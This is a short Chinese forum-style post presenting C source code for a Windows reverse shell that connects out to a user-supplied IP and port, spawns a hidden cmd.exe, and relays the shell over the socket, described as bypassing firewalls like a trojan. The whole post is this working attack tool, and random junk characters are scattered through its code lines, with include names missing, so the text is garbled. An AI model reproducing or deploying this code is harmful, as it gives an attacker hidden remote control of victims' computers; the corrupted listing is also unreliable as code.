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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9O -2  
$~S~pvT  
/* ============================== ~nTj't2R  
Rebound port in Windows NT kU+|QBA@  
By wind,2006/7 L R\LC6kM  
===============================*/ pCDN9*0/  
#include gW,hI>  
#include {#:31)P  
_1NK9dp:  
#pragma comment(lib,"wsock32.lib") AN:yL a!  
6\ yBA_ z  
void OutputShell(); a}uYv:  
SOCKET sClient; hLbWqF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xorafL  
qm3H/cC9+  
void main(int argc,char **argv) W|D kq  
{ m`l9d4p w?  
WSADATA stWsaData; FJDE48Vi  
int nRet; .[ }G{%M~[  
SOCKADDR_IN stSaiClient,stSaiServer; z)S6f79`Q  
f"KrPx!^b  
if(argc != 3) +U1 Ir5Lx  
{ a%e`  
printf("Useage:\n\rRebound DestIP DestPort\n"); hbOXR.0z  
return; tEL9hZzI  
} veHe   
w`;HwK$ ,  
WSAStartup(MAKEWORD(2,2),&stWsaData); =C2sl;7~*  
K Ax=C}9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vjq2(I)u  
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stSaiClient.sin_family = AF_INET; o]~\u{o#.  
stSaiClient.sin_port = htons(0); -?-XO<I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h7 E~I J  
g"Y _!)X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fO$){(]^  
{ dYwkP^KB  
printf("Bind Socket Failed!\n"); PR Mg6  
return; 4WJY+)  
} p_h/hTi  
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stSaiServer.sin_family = AF_INET; |)+ SG>-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bz<hP*.O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~g\~x  
rNR7}o~qo  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Rh ^(91d  
{ 0eNdKE  
printf("Connect Error!"); %W"u4 NT7  
return; u MEM7$o  
} vY-CXWC7  
OutputShell(); a$ "nNmD?  
} g5|~ i{"0  
]:Gy]qkO  
void OutputShell() )Cl>%9  
{ %+H_V1F  
char szBuff[1024]; Z-Uu/GjB  
SECURITY_ATTRIBUTES stSecurityAttributes; lcie6'<  
OSVERSIONINFO stOsversionInfo; `UTPX'Vz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DxV=S0P  
STARTUPINFO stStartupInfo; ${MzO i  
char *szShell; b2OwLt9  
PROCESS_INFORMATION stProcessInformation; b)<WC$"  
unsigned long lBytesRead; SHX`/  
.`}TND~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @"@|O>KJ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ->rqr#  
stSecurityAttributes.lpSecurityDescriptor = 0; {5~h   
stSecurityAttributes.bInheritHandle = TRUE; n.&7lg^X  
SO=gG 2E  
 xgcxA:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ryVYY> *(K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b^VRpv  
E{<#h9=>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y#j7vO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4<i#TCGex3  
stStartupInfo.wShowWindow = SW_HIDE; XI\Slq  
stStartupInfo.hStdInput = hReadPipe; LN|(Z*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5rows]EJJl  
{  c#US  
GetVersionEx(&stOsversionInfo); Y(g_h:lf,]  
Z 2N6r6  
switch(stOsversionInfo.dwPlatformId) Vr EGR$  
{ +@QrGY  
case 1: gx.\H3y  
szShell = "command.com"; In1W/ ?  
break; ENZym  
default: c!ZZMC s  
szShell = "cmd.exe"; m$p}cok#+S  
break; rLsY_7!  
} E`o_R=%  
A|\A|8=b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,`}y J*7  
pUHgjwT'U  
send(sClient,szMsg,77,0); !:&SfPv  
while(1) ,VS\mG/}s  
{ %J M$]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i1cd9  
if(lBytesRead) 0vqVE]C  
{ J\y^T3Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mD'nF1o Ly  
send(sClient,szBuff,lBytesRead,0); O>' }q/  
} 1 pVw,}  
else &<N8d(  
{ 9^XZ|`  
lBytesRead=recv(sClient,szBuff,1024,0); ^I!Z)/  
if(lBytesRead<=0) break; :}e<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O2Qmz=%  
} MJ JC6:  
} [P &B  
EHwb?{  
return; klUV&O+=%  
}
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